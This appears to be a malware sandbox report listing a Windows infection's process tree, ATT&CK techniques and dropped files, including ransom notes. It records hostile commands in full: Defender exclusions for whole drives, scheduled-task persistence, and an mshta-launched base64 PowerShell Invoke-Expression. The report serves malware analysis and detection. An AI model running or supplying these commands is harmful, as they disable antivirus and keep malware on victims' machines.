C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4352 -ip 43521⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exeC:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp6802.tmp"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\mshta.EXEC:\Windows\system32\mshta.EXE "javascript:new ActiveXObject('Shell.Application').ShellExecute('powershell', '-Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\'SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==\')))', '', '', 0);close();"1⤵
- Loads dropped DLL
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLUV4cHJlc3Npb24gKChHZXQtSXRlbVByb3BlcnR5ICJIS0NVOlxTb2Z0d2FyZVxNeVNvZnR3YXJlIikuTXlDb21tYW5kKQ==')))2⤵
-
-
C:\Windows\vkl.exe"C:\Windows\vkl.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 9364 -ip 93641⤵
-
C:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exeC:\Users\Admin\AppData\Local\Temp\3Mj8k14CbmFIV28.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4352 -ip 43521⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Scheduled Task/Job: Scheduled Task
-
C:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exeC:\Users\Admin\AppData\Roaming\JavaUpdate\JavaUpdate.exe1⤵
- System Location Discovery: System Language Discovery
-
C:\Recovery\WindowsRE\taskhostw.exe"C:\Recovery\WindowsRE\taskhostw.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\WAN Service\wansvc.exe"C:\Program Files (x86)\WAN Service\wansvc.exe"1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 11760 -ip 117601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4352 -ip 43521⤵
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ShellExperiences\conhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft\conhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Libraries\conhost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\hHHZQj4Q2K.bat"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:23⤵
-
-
C:\Users\Public\Libraries\conhost.exe"C:\Users\Public\Libraries\conhost.exe"3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4352 -ip 43521⤵
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\ShellExperiences\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4352 -ip 43521⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Windows\ShellExperiences\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d98" /sc MINUTE /mo 13 /tr "'C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9" /sc ONLOGON /tr "'C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d98" /sc MINUTE /mo 9 /tr "'C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\ShellExperiences\conhost.exe"C:\Windows\ShellExperiences\conhost.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Libraries\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4352 -ip 43521⤵
-
C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"C:\Windows\IdentityCRL\INT\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Public\Libraries\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Libraries\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df613301" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df613301" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Sidebar\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f355" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files (x86)\Microsoft\conhost.exe"C:\Program Files (x86)\Microsoft\conhost.exe"1⤵
-
C:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exeC:\Users\Admin\AppData\Local\MaxLoonaFest2663\MaxLoonaFest2663.exe1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4a8 0x4c81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4352 -ip 43521⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\system32\printfilterpipelinesvc.exeC:\Windows\system32\printfilterpipelinesvc.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exeC:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4352 -ip 43521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4352 -ip 43521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3808 -ip 38081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3808 -ip 38081⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
2AppInit DLLs
1Change Default File Association
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
3Windows Service
3Event Triggered Execution
2AppInit DLLs
1Change Default File Association
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1File/Path Exclusions
1Impair Defenses
5Disable or Modify Tools
5Indicator Removal
2File Deletion
2Modify Registry
9Subvert Trust Controls
2Install Root Certificate
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Discovery
Browser Information Discovery
1Network Share Discovery
1Peripheral Device Discovery
1Query Registry
6Remote System Discovery
1System Information Discovery
7System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
KKKKKKKKKKK
Data breach warning.txt
AcroRd32.exe
aic_file_icons.png
selection-actions.png
selection-actions2x.png
example_icons.png
example_icons2x.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
rhp_world_icon.png
rhp_world_icon_2x.png
rhp_world_icon_hover.png
rhp_world_icon_hover_2x.png
icons.png
icons_ie8.gif
icons_retina.png
new_icons.png
new_icons_retina.png
bg_pattern_RHP.png
bg_patterns_header.png
illustrations.png
illustrations_retina.png
faf_icons.png
bun.png
cstm_brand_preview.png
cstm_brand_preview2x.png
dd_arrow_small.png
dd_arrow_small2x.png
illustrations.png
nub.png
share_icons.png
share_icons2x.png
adc_logo.png
adobe_spinner.gif
logo_retina.png
sat_logo.png
sat_logo_2x.png
DisplayLanguageNames.en_GB_EURO.txt
Chrome_boostrap.exe
win32_MoveNoDrop32x32.gif
THIRDPARTYLICENSEREADME.txt
directshow.md
glib.md
gstreamer.md
icu_web.md
jpeg_fx.md
libffi.md
libxml2.md
libxslt.md
mesa3d.md
public_suffix.md
webkit.md
asm.md
bcel.md
cldr.md
colorimaging.md
cryptix.md
dom.md
dynalink.md
ecc.md
freebxml.md
giflib.md
icu.md
jcup.md
joni.md
jopt-simple.md
jpeg.md
lcms.md
libpng.md
mesa3d.md
pkcs11cryptotoken.md
pkcs11wrapper.md
relaxngcc.md
relaxngdatatype.md
relaxngom.md
santuario.md
thaidict.md
unicode.md
xalan.md
xerces.md
xmlresolver.md
zlib.md
README.txt
readme.txt
OfficeTrackerNMP2663.exe
ea9f0e6c9e2dcd
antifucked.exe.log
76561199851454339[1].htm
ModuleAnalysisCache
StartupProfileData-NonInteractive
Process.txt
01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
InstallUtil.exe
3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
ESFGC8M8r.hta
HackCraft.exe
__PSScriptPolicyTest_d3h1r33x.2b2.ps1
a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe
a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe
aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe
aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe
b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe
c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe
def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe
e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe
f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
f497e0f58f93c129f70a89f01aa20b3a5372e4e9f83580ad9a1d8e613ab389a9.exe
f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe
ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
install.vbs
Data breach warning.txt
Data breach warning.txt
RANSOMNOTE.txt
Data breach warning.txt
File Explorer.lnk
log.log
ASPdotNET_logo.jpg
HelpIcon_solid.gif
alert_lrg.gif
aspx_file.gif
branding_Full2.gif
darkBlue_GRAD.jpg
folder.gif
headerGRADIENT_Tall.gif
help.jpg
image1.gif
image2.gif
requiredBang.gif
topGradRepeat.jpg
yellowCORNER.gif
1 - Desktop.lnk
1 - Run.lnk
2 - Search.lnk
3 - Windows Explorer.lnk
4 - Control Panel.lnk
5 - Task Manager.lnk
01 - Command Prompt.lnk
01a - Windows PowerShell.lnk
02 - Command Prompt.lnk
02a - Windows PowerShell.lnk
03 - Computer Management.lnk
04 - Disk Management.lnk
04-1 - NetworkStatus.lnk
05 - Device Manager.lnk
06 - SystemAbout.lnk
07 - Event Viewer.lnk
08 - PowerAndSleep.lnk
09 - Mobility Center.lnk
10 - AppsAndFeatures.lnk
Shows Desktop.lnk
Window Switcher.lnk
Magnify.lnk
Narrator.lnk
On-Screen Keyboard.lnk
Administrative Tools.lnk
Command Prompt.lnk
Control Panel.lnk
Run.lnk
computer.lnk
Windows PowerShell (x86).lnk
Windows PowerShell.lnk
Square44x44Logo.targetsize-44_altform-unplated_contrast-black.png
Square44x44Logo.targetsize-44_contrast-white.png
Square44x44Logo.targetsize-44_altform-unplated_contrast-black.png
Square44x44Logo.targetsize-44_contrast-white.png
OneDrive.lnk
xdwd.dll
ahIFlNJOT.README.txt
fnsYm5R5i.README.txt
DDDDDDDDDDD
ahIFlNJOT.README.txt
readme.txt
!!!READ_ME_MEDUSA!!!.txt
ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt
memory/628-142-0x00000137C1990000-0x00000137C19C3000-memory.dmp
memory/628-162-0x00000137C3180000-0x00000137C31B9000-memory.dmp
memory/1028-3635-0x0000000000400000-0x0000000000424000-memory.dmp
